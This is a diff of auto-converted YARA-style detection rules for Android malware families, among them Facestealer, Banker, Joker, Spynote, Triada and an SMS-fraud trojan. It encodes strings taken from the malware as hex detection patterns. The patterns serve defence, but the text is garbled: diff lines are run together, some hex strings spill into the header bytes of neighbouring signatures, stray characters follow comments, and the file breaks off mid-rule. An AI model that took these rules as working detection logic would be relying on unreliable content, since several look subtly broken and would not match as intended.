rule _InfrastructureShared_24830{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28518+(#a_65_2 & 1)*25344+(#a_6f_3 & 1)*25710+(#a_36_4 & 1)*14401+(#a_72_5 & 1)*29557) >=6 } -rule _InfrastructureShared_24831{ +rule _InfrastructureShared_26139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -325241,12 +342004,12 @@ rule _InfrastructureShared_24831{ $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 44 6e 6f 74 75 61 2e 41 53 21 4d 54 42 00 01 00 06 00 61 64 54 79 70 65 01 00 1d 00 2f 61 64 6d 6f 62 2f 73 64 6b 6c 6f 61 64 65 72 2f 6e 61 74 69 76 65 5f 76 69 64 65 6f 01 } //16675 $a_65_2 = {64 73 01 00 0e 00 49 6e 74 65 72 73 74 69 74 69 61 6c 41 64 01 00 40 00 4a 65 6e 37 39 42 79 4b 6c 73 37 4c 57 78 51 59 38 4f 41 38 7a 36 73 62 6a 51 73 65 69 52 61 59 46 72 4d 50 2b 38 32 6d 34 46 70 71 50 76 30 4d 6f 34 63 7a 74 59 61 67 76 35 57 59 62 48 4d 4d 00 00 be bd 00 00 05 00 05 00 07 00 21 23 41 4c 46 50 45 52 } //26978 $a_54_3 = {3a 41 6e 64 72 6f 69 64 4f 53 2f 4c 75 63 6b 79 50 61 74 63 68 65 72 2e 41 00 01 00 0d 00 4c 75 63 6b 79 20 50 61 74 63 68 65 72 01 00 16 00 63 6f 6d 2e 63 68 65 6c 70 75 73 2e 72 6f 6f 74 2e 75 74 69 6c 73 01 00 14 00 6c 70 2e 63 68 65 6c 70 75 73 } //18490 - $a_61_4 = {6c 2e 63 6f 6d 01 00 12 00 7e 63 68 65 6c 70 75 73 5f 64 69 73 61 62 6c 65 64 7e 01 00 09 00 63 68 65 63 6b 52 6f 6f 74 01 00 08 00 64 65 6c 65 74 65 44 43 01 00 18 00 49 6e 41 70 70 42 69 6c 6c 69 6e 67 53 65 72 76 69 63 65 2e 43 52 41 43 00 00 be be 00 00 05 00 05 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 } //26432 + $a_61_4 = {6c 2e 63 6f 6d 01 00 12 00 7e 63 68 65 6c 70 75 73 5f 64 69 73 61 62 6c 65 64 7e 01 00 09 00 63 68 65 63 6b 52 6f 6f 74 01 00 08 00 64 65 6c 65 74 65 44 43 01 00 18 00 49 6e 41 70 70 42 69 6c 6c 69 6e 67 53 65 72 76 69 63 65 2e 43 52 41 43 00 00 be be 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 } //26432 condition: ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*26978+(#a_54_3 & 1)*18490+(#a_61_4 & 1)*26432) >=5 } -rule _InfrastructureShared_24832{ +rule _InfrastructureShared_26140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 07 00 21 " @@ -325257,12 +342020,23 @@ rule _InfrastructureShared_24832{ $a_00_3 = {63 68 65 63 6b 52 6f 6f 74 } //1 checkRoot $a_00_4 = {64 65 6c 65 74 65 44 43 } //1 deleteDC $a_00_5 = {49 6e 41 70 70 42 69 6c 6c 69 6e 67 53 65 72 76 69 63 65 2e 43 52 41 43 } //1 InAppBillingService.CRAC - $a_be_6 = {00 05 00 05 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4a 6f 6b 65 72 2e 43 21 4d 54 42 00 02 00 40 00 4c 61 70 70 73 2f 61 72 63 61 70 70 73 2f 63 6c 65 61 6e 65 72 2f 73 65 72 76 69 63 65 2f 43 6c 65 61 6e 65 72 4e 6f 74 69 66 69 63 61 74 69 6f 6e 4c 69 73 74 65 6e 65 72 53 65 72 76 69 63 65 02 00 12 00 43 61 6c 6c 44 65 74 61 69 6c 41 63 74 69 76 69 74 79 01 00 0b 00 2f 69 6d 6d 65 72 73 65 2e 63 6c 01 00 0c 00 2f 63 72 61 7a 79 63 6c 2e 65 61 6e 01 00 0c 00 2f 77 61 6c 6b 6f 63 6c 65 2e 61 6e 01 00 06 00 62 6f 6f 73 74 63 00 } //0 + $a_be_6 = {00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 63 65 73 74 65 61 6c 65 72 2e 45 21 4d 54 42 00 01 00 38 01 12 46 12 35 12 14 12 03 12 22 13 00 1d 00 23 00 44 01 26 00 b1 04 00 00 69 00 8b 18 23 40 44 01 14 01 b3 00 01 01 4b 01 00 03 69 00 8c 18 23 40 44 01 14 01 3f 01 01 01 01 00 4a 01 69 00 cc 19 13 00 0a 00 23 00 44 01 26 00 97 06 00 00 69 00 da 19 23 60 44 01 26 00 a8 06 00 00 69 00 e5 19 13 00 2a 00 23 00 44 01 26 00 ab 06 00 00 69 00 ea 19 12 70 23 00 44 01 26 00 fb 06 00 00 69 00 eb 19 23 50 44 01 00 } //0 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_be_6 & 1)*0) >=5 } -rule _InfrastructureShared_24833{ +rule _InfrastructureShared_26141{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 63 65 73 74 65 61 6c 65 72 2e 45 21 4d 54 42 00 01 00 38 01 12 46 12 35 12 14 12 03 12 22 13 00 1d 00 23 00 44 01 26 00 b1 04 00 00 69 00 8b } //21539 + $a_44_1 = {14 01 b3 00 01 01 4b 01 00 03 69 00 8c 18 23 40 44 01 14 01 3f 01 01 01 01 00 4a 01 69 00 cc 19 13 00 0a 00 23 00 44 01 26 00 97 06 00 00 69 00 da 19 23 60 44 01 26 00 a8 06 00 00 69 00 e5 19 } //8984 + condition: + ((#a_4c_0 & 1)*21539+(#a_44_1 & 1)*8984) >=2 + +} +rule _InfrastructureShared_26142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 06 00 21 " @@ -325277,7 +342051,7 @@ rule _InfrastructureShared_24833{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*24931+(#a_52_2 & 1)*21320+(#a_43_3 & 1)*28265+(#a_69_4 & 1)*29284+(#a_6e_5 & 1)*29440) >=5 } -rule _InfrastructureShared_24834{ +rule _InfrastructureShared_26143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 08 00 21 " @@ -325292,7 +342066,7 @@ rule _InfrastructureShared_24834{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*14123+(#a_6f_2 & 1)*29793+(#a_2f_3 & 1)*28515+(#a_00_5 & 1)*2+(#a_45_6 & 1)*8993) >=6 } -rule _InfrastructureShared_24835{ +rule _InfrastructureShared_26144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -325307,7 +342081,7 @@ rule _InfrastructureShared_24835{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*27756+(#a_62_2 & 1)*27904+(#a_6a_3 & 1)*29268+(#a_00_4 & 1)*1043+(#a_0b_5 & 1)*4864) >=6 } -rule _InfrastructureShared_24836{ +rule _InfrastructureShared_26145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -325317,7 +342091,7 @@ rule _InfrastructureShared_24836{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_24837{ +rule _InfrastructureShared_26146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -325329,7 +342103,7 @@ rule _InfrastructureShared_24837{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*30766+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_24838{ +rule _InfrastructureShared_26147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -325342,7 +342116,7 @@ rule _InfrastructureShared_24838{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*11886+(#a_72_2 & 1)*14924+(#a_00_3 & 1)*22800) >=4 } -rule _InfrastructureShared_24839{ +rule _InfrastructureShared_26148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -325353,7 +342127,7 @@ rule _InfrastructureShared_24839{ ((#a_4c_0 & 1)*21539+(#a_54_1 & 1)*24583) >=2 } -rule _InfrastructureShared_24840{ +rule _InfrastructureShared_26149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -325365,18 +342139,29 @@ rule _InfrastructureShared_24840{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29555+(#a_71_2 & 1)*20995) >=5 } -rule _InfrastructureShared_24841{ +rule _InfrastructureShared_26150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 2f 41 6d 61 72 61 6e 67 2e 42 21 64 68 61 00 01 00 47 80 01 68 61 20 62 69 73 6f 67 6e 6f 20 64 65 6c 20 73 65 72 76 69 7a 69 6f 20 64 69 20 41 63 63 65 73 73 69 62 69 6c 69 74 c3 a0 20 } //16675 - $a_20_1 = {75 6e 7a 69 6f 6e 61 72 65 20 63 6f 72 72 65 74 74 61 6d 65 6e 74 65 2e 01 00 4b 80 01 3c 62 3e 25 73 3c 2f 62 3e 20 72 65 71 75 69 72 65 73 20 41 63 63 65 73 73 69 62 69 6c 69 74 79 20 73 65 72 76 69 63 65 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 72 75 6e 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 62 72 3e 00 00 be c9 00 00 05 00 05 00 } //25968 + $a_20_1 = {75 6e 7a 69 6f 6e 61 72 65 20 63 6f 72 72 65 74 74 61 6d 65 6e 74 65 2e 01 00 4b 80 01 3c 62 3e 25 73 3c 2f 62 3e 20 72 65 71 75 69 72 65 73 20 41 63 63 65 73 73 69 62 69 6c 69 74 79 20 73 65 72 76 69 63 65 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 72 75 6e 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 62 72 3e 00 00 be c7 00 00 02 00 02 00 } //25968 condition: ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*25968) >=1 } -rule _InfrastructureShared_24842{ +rule _InfrastructureShared_26151{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 61 64 70 61 63 6b 2e 44 21 4d 54 42 00 01 00 3e 01 38 00 17 00 6e 20 4c 00 50 00 0c 01 6e 10 67 00 01 00 0a 02 39 02 06 00 12 12 6e 20 69 00 21 00 11 01 } //21539 + $a_10_1 = {4f 00 00 00 0c 00 28 ea 22 00 23 00 1a 01 b5 00 70 20 55 00 10 00 27 00 01 00 54 01 6e 20 59 00 49 00 0a 05 32 75 09 00 44 05 03 00 44 04 03 04 b0 54 4b 04 03 00 d8 04 00 fe 6e 30 5d 00 49 00 0c 05 71 10 54 00 05 00 0c 05 6e 10 52 00 05 00 0a 05 13 06 0a 00 34 65 0d 00 13 06 1a 00 36 65 09 00 44 05 03 00 44 04 03 04 b0 54 4b 04 } //269 + condition: + ((#a_4c_0 & 1)*21539+(#a_10_1 & 1)*269) >=2 + +} +rule _InfrastructureShared_26152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -325390,7 +342175,7 @@ rule _InfrastructureShared_24842{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28525+(#a_61_2 & 1)*25458+(#a_6e_3 & 1)*27491+(#a_00_4 & 1)*6) >=5 } -rule _InfrastructureShared_24843{ +rule _InfrastructureShared_26153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -325404,32 +342189,42 @@ rule _InfrastructureShared_24843{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28271+(#a_61_2 & 1)*29696+(#a_46_3 & 1)*16675+(#a_65_4 & 1)*19) >=5 } -rule _InfrastructureShared_24844{ +rule _InfrastructureShared_26154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 4d 53 52 65 67 2e 46 21 4d 54 42 00 01 00 0c 00 63 6f 6d 70 72 69 73 65 5f 73 6d 73 01 00 17 00 63 75 72 72 65 6e 74 5f 6f 72 64 65 72 5f 73 6d 73 5f 63 6f 75 6e 74 01 00 } //16675 $a_65_1 = {64 5f 73 6d 73 5f 74 79 70 65 5f 63 6f 75 6e 74 01 00 1e 00 53 4d 53 5f 53 45 4e 44 5f 41 43 54 49 4f 4e 5f 47 45 54 50 48 4f 4e 45 4e 55 4d 42 45 52 01 00 12 00 77 77 77 2e 70 61 6c 6d 66 75 6e 70 6c 61 79 2e 63 6e 01 00 1c 00 73 65 6e 64 20 73 6d 73 20 74 6f 20 20 74 68 69 73 20 70 68 6f 6e 65 20 70 6f 72 74 00 00 05 00 be ca 00 00 02 00 02 } //19 - $a_3a_3 = {72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4c 6f 63 6b 53 63 72 65 65 6e 2e 45 21 4d 54 42 00 01 00 4e 01 12 04 07 05 6e 10 08 00 05 00 0c 05 52 55 02 00 12 26 dd 05 05 02 32 54 08 00 12 14 01 41 01 14 39 04 05 00 28 e2 12 } //17748 - $a_07_4 = {04 6e 10 09 00 04 00 0c 04 07 42 07 24 1a 05 6a 00 13 06 80 00 6e 30 13 00 54 06 0c 04 07 43 22 04 3b 00 01 00 44 01 6e 20 47 00 87 00 0a 07 38 07 1e 00 22 07 07 00 07 7e 07 e7 07 e8 07 19 1a 0a 6c 00 71 10 40 00 0a 00 0c 0a 70 30 0d 00 98 0a 07 74 07 47 15 08 00 10 6e 20 0e 00 87 00 0c 07 07 17 07 48 6e 20 0b 00 87 00 00 00 be cb 00 00 14 00 14 00 07 00 21 23 48 53 54 52 3a 41 69 72 70 75 73 68 00 05 00 0b 00 61 69 72 70 75 73 68 2e 63 6f 6d 02 00 40 00 6d 6f 64 65 6c 3d 6c 6f 67 26 61 63 74 69 6f 6e 3d 73 65 74 69 63 6f 6e 63 6c 69 63 6b 74 72 61 63 6b 69 6e 67 26 41 50 49 4b 45 59 3d 61 69 72 70 75 73 68 73 65 61 72 63 68 26 65 76 65 6e 74 01 00 07 00 73 65 6e 64 53 6d 73 01 00 0d 00 73 65 6e 64 43 6c 69 63 6b 44 61 74 61 01 00 11 00 67 } //10244 - $a_6c_5 = {63 6b 74 6f 43 61 6c 6c 41 64 73 01 00 0b 00 67 65 74 44 65 76 69 63 65 49 64 01 00 1b 00 67 65 74 45 78 74 65 72 6e 61 6c 53 74 6f 72 61 67 65 44 69 72 65 63 74 6f 72 79 00 00 07 00 be cc 00 00 02 00 } //29797 + $a_3a_3 = {72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 6e 6f 74 65 2e 57 21 4d 54 42 00 01 00 42 01 54 20 2d 24 52 21 2c 24 b0 13 54 00 1e 2e 46 03 00 03 1f 03 72 04 54 20 2e 24 b0 41 54 04 1e 2e 46 04 04 01 1f 04 72 } //17748 + $a_55_5 = {00 0a 00 38 00 03 00 28 07 71 20 27 7c 43 00 0a 03 01 00 50 01 38 00 0f 00 1f 03 1a 17 6e 10 2c 64 03 00 0c 03 71 10 38 63 03 00 0a 00 59 30 03 05 28 18 22 00 9c 04 70 10 84 18 00 00 71 10 36 63 03 00 0a 02 59 02 03 05 5b 03 68 05 5c 01 69 05 22 03 6d 12 70 10 3b 53 03 00 5b 03 6a 05 07 03 55 30 0b 05 00 00 be cb 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 61 6e 6b 65 72 2e 41 48 21 4d } //8305 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*19+(#a_3a_3 & 1)*17748+(#a_07_4 & 1)*10244+(#a_6c_5 & 1)*29797) >=6 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*19+(#a_3a_3 & 1)*17748+(#a_55_5 & 1)*8305) >=6 } -rule _InfrastructureShared_24845{ +rule _InfrastructureShared_26155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4c 6f 63 6b 53 63 72 65 65 6e 2e 45 21 4d 54 42 00 01 00 4e 01 12 04 07 05 6e 10 08 00 05 00 0c 05 52 55 02 00 12 26 dd 05 05 02 32 54 08 00 12 14 01 41 01 } //21539 - $a_05_1 = {00 28 e2 12 } //14612 + $a_4c_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 6e 6f 74 65 2e 57 21 4d 54 42 00 01 00 42 01 54 20 2d 24 52 21 2c 24 b0 13 54 00 1e 2e 46 03 00 03 1f 03 72 04 54 20 2e 24 b0 41 54 04 1e } //21539 + $a_04_1 = {01 1f 04 72 } //17966 ἁ爄 condition: - ((#a_4c_0 & 1)*21539+(#a_05_1 & 1)*14612) >=2 + ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*17966) >=2 } -rule _InfrastructureShared_24846{ +rule _InfrastructureShared_26156{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 61 6e 6b 65 72 2e 41 48 21 4d 54 42 00 01 00 40 01 35 01 21 00 54 62 ec 06 6e 20 62 02 12 00 0a 02 54 63 ec 06 6e 20 67 02 13 00 0c 03 1f 03 61 00 54 64 } //21539 + $a_65_1 = {06 6e 20 a4 01 53 00 0c 03 70 20 ed 0f 36 00 0c 03 4d 03 04 02 d8 01 01 01 01 00 56 01 6e 10 c9 01 05 00 12 01 12 12 6e 30 df 01 15 02 54 43 e7 06 6e 20 d1 01 35 00 54 43 ed 06 4d 05 03 00 52 43 ee 06 b0 23 59 43 ee 06 52 42 eb 06 6e 10 b1 01 05 00 0a } //1773 + condition: + ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*1773) >=2 + +} +rule _InfrastructureShared_26157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,14 00 14 00 07 00 21 " @@ -325443,7 +342238,7 @@ rule _InfrastructureShared_24846{ ((#a_54_0 & 1)*18467+(#a_26_1 & 1)*25458+(#a_54_4 & 1)*8448+(#a_0c_5 & 1)*20992+(#a_03_6 & 1)*18) >=20 } -rule _InfrastructureShared_24847{ +rule _InfrastructureShared_26158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -325453,7 +342248,7 @@ rule _InfrastructureShared_24847{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_24848{ +rule _InfrastructureShared_26159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 05 00 21 " @@ -325462,36 +342257,58 @@ rule _InfrastructureShared_24848{ $a_6e_1 = {61 63 6b 67 72 6f 75 6e 64 01 00 07 00 73 68 6f 77 41 44 31 01 00 1d 00 53 74 61 72 74 70 6f 70 75 70 73 41 63 74 69 76 69 74 79 2e 63 6c 6f 73 65 41 44 28 29 01 00 32 00 53 68 65 6c 6c 53 65 72 76 69 63 65 2e 6f 6e 53 } //28516 $a_74_2 = {6f 6d 6d 61 6e 64 28 53 54 41 52 54 5f 46 4c 41 47 5f 52 45 44 45 4c 49 56 45 52 59 29 00 00 03 00 be cc 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 49 6e 66 6f 73 74 65 61 6c 2e 42 00 01 00 17 01 6b 69 6c 6c 42 61 63 6b 67 72 6f 75 6e 64 50 72 6f 63 65 73 73 65 73 01 00 0e 01 2f 41 64 6d } //24948 $a_65_3 = {65 69 76 65 72 01 00 12 01 67 65 74 53 69 6d 4f 70 65 72 61 74 6f 72 4e 61 6d 65 01 00 30 01 2f 7b 22 6e 75 6d 62 65 72 22 3a 25 73 2c 22 64 61 74 65 22 3a 25 73 2c 22 64 75 72 61 74 69 6f 6e 22 3a 25 73 2c 22 74 79 70 65 22 3a 25 73 7d 01 00 25 } //28265 - $a_22_4 = {68 6f 6e 65 22 3a 22 25 73 22 2c 22 73 6d 73 22 3a 25 73 2c 22 64 65 6c 65 74 65 64 22 3a 25 73 7d 00 00 be d1 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 68 61 6d 65 72 61 2e 46 21 4d 54 42 00 01 00 60 01 72 20 c0 29 51 00 0c 08 1f 08 47 01 6e 10 28 06 08 00 0c 09 1f 09 2d 02 52 9d d6 00 b1 7d 52 97 d7 00 b1 27 12 } //9217 + $a_22_4 = {68 6f 6e 65 22 3a 22 25 73 22 2c 22 73 6d 73 22 3a 25 73 2c 22 64 65 6c 65 74 65 64 22 3a 25 73 7d 00 00 be d0 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 41 70 70 2e 41 41 21 4d 54 42 00 01 00 46 01 71 10 4e 0e 08 00 6e 20 d4 07 41 00 0c 05 1a 03 4e 8b 6e 20 d1 07 31 00 0c 06 07 23 07 94 78 06 da 09 03 00 } //9217 condition: ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28516+(#a_74_2 & 1)*24948+(#a_65_3 & 1)*28265+(#a_22_4 & 1)*9217) >=4 } -rule _InfrastructureShared_24849{ +rule _InfrastructureShared_26160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 49 6e 66 6f 73 74 65 61 6c 2e 42 00 01 00 17 01 6b 69 6c 6c 42 61 63 6b 67 72 6f 75 6e 64 50 72 6f 63 65 73 73 65 73 01 00 0e 01 2f 41 64 6d 69 6e 52 65 63 65 69 76 65 72 01 00 12 01 67 65 74 53 } //18467 $a_70_1 = {72 61 74 6f 72 4e 61 6d 65 01 00 30 01 2f 7b 22 6e 75 6d 62 65 72 22 3a 25 73 2c 22 64 61 74 65 22 3a 25 73 2c 22 64 75 72 61 74 69 6f 6e 22 3a 25 73 2c 22 74 79 70 65 22 3a 25 73 7d 01 00 25 01 24 7b 22 70 68 6f 6e 65 22 3a 22 25 73 22 } //28009 - $a_6d_2 = {22 3a 25 73 2c 22 64 65 6c 65 74 65 64 22 3a 25 73 7d 00 00 be d1 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 68 61 6d 65 72 61 2e 46 21 4d 54 42 00 01 00 60 01 72 20 c0 29 51 00 0c 08 1f 08 47 01 6e 10 28 06 08 00 0c 09 1f 09 2d 02 52 9d d6 00 b1 7d 52 97 d7 00 b1 27 12 02 71 20 23 28 d2 00 } //8748 - $a_20_3 = {28 72 00 0a 0e 7b dd 71 20 23 28 d2 00 0a 0d 7b 77 71 20 23 28 72 00 0a 07 6e 10 31 06 08 00 0a 08 b0 98 b0 e8 b0 86 d8 05 05 01 01 72 01 d7 01 00 3c 01 12 03 6e 20 26 07 30 00 0c 01 6e 10 31 06 01 00 0a 03 6e 10 2e 06 01 00 0a 05 db 04 04 02 db 06 03 02 b1 64 db 06 05 02 b1 62 b0 43 b0 25 6e 55 79 06 41 32 0e 00 df 03 09 01 b1 3a 00 00 } //2314 + $a_6d_2 = {22 3a 25 73 2c 22 64 65 6c 65 74 65 64 22 3a 25 73 7d 00 00 be d0 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 41 70 70 2e 41 41 21 4d 54 42 00 01 00 46 01 71 10 4e 0e 08 00 6e 20 d4 07 41 00 0c 05 1a 03 4e 8b 6e 20 d1 07 31 00 0c 06 07 23 07 94 78 06 da 09 03 00 28 2a 72 20 d9 09 92 } //8748 + $a_1a_3 = {54 8b 6e 20 c2 07 31 00 0c 03 71 10 4e 0e 03 00 6e 20 d4 07 41 00 01 00 54 01 12 01 1a 02 3c 92 6e 30 cb 07 20 01 } //10240 + $a_41_4 = {01 1a 01 3a 92 71 20 30 3c 10 00 0c 01 38 01 2a 00 22 02 d7 01 54 43 3d 01 70 30 f3 09 12 03 5b 42 3e 01 22 01 67 01 54 42 3a 01 70 20 5a 08 21 00 5b 41 38 01 54 42 3a 01 6e 20 5e 09 12 00 54 41 3e 01 00 00 be d0 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a } //266 condition: - ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28009+(#a_6d_2 & 1)*8748+(#a_20_3 & 1)*2314) >=5 + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28009+(#a_6d_2 & 1)*8748+(#a_1a_3 & 1)*10240+(#a_41_4 & 1)*266) >=5 } -rule _InfrastructureShared_24850{ +rule _InfrastructureShared_26161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 68 61 6d 65 72 61 2e 46 21 4d 54 42 00 01 00 60 01 72 20 c0 29 51 00 0c 08 1f 08 47 01 6e 10 28 06 08 00 0c 09 1f 09 2d 02 52 9d d6 00 b1 7d 52 97 d7 00 } //21539 - $a_02_1 = {71 20 23 28 d2 00 0a 09 71 20 23 28 72 00 0a 0e 7b dd } //10161 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 41 70 70 2e 41 41 21 4d 54 42 00 01 00 46 01 71 10 4e 0e 08 00 6e 20 d4 07 41 00 0c 05 1a 03 4e 8b 6e 20 d1 07 31 00 0c 06 07 23 07 94 78 06 da } //21539 condition: - ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*10161) >=2 + ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_24851{ +rule _InfrastructureShared_26162{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 50 69 6f 6d 2e 50 21 4d 54 42 00 01 00 4e 01 22 00 02 00 54 31 08 00 70 20 00 00 10 00 54 31 09 00 6e 20 03 00 10 00 0c 00 12 01 6e 20 02 00 10 00 0c 00 1a } //21539 + $a_22_1 = {1a } //16641 + condition: + ((#a_4c_0 & 1)*21539+(#a_22_1 & 1)*16641) >=2 + +} +rule _InfrastructureShared_26163{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 72 69 61 64 61 2e 49 21 4d 54 42 00 01 00 58 01 62 00 9a 31 18 01 0c 91 77 3b 9e c1 fe ff 71 30 47 83 21 00 0c 01 6e 20 2a 00 15 00 71 10 2c 63 06 00 0a } //21539 + $a_1d_1 = {22 } //14337 " + condition: + ((#a_4c_0 & 1)*21539+(#a_1d_1 & 1)*14337) >=2 + +} +rule _InfrastructureShared_26164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 05 00 21 " @@ -325505,7 +342322,7 @@ rule _InfrastructureShared_24851{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*27489+(#a_70_2 & 1)*28265+(#a_65_3 & 1)*12115+(#a_78_4 & 1)*20082) >=3 } -rule _InfrastructureShared_24852{ +rule _InfrastructureShared_26165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 05 00 21 " @@ -325517,40 +342334,32 @@ rule _InfrastructureShared_24852{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29801+(#a_3a_4 & 1)*19521) >=4 } -rule 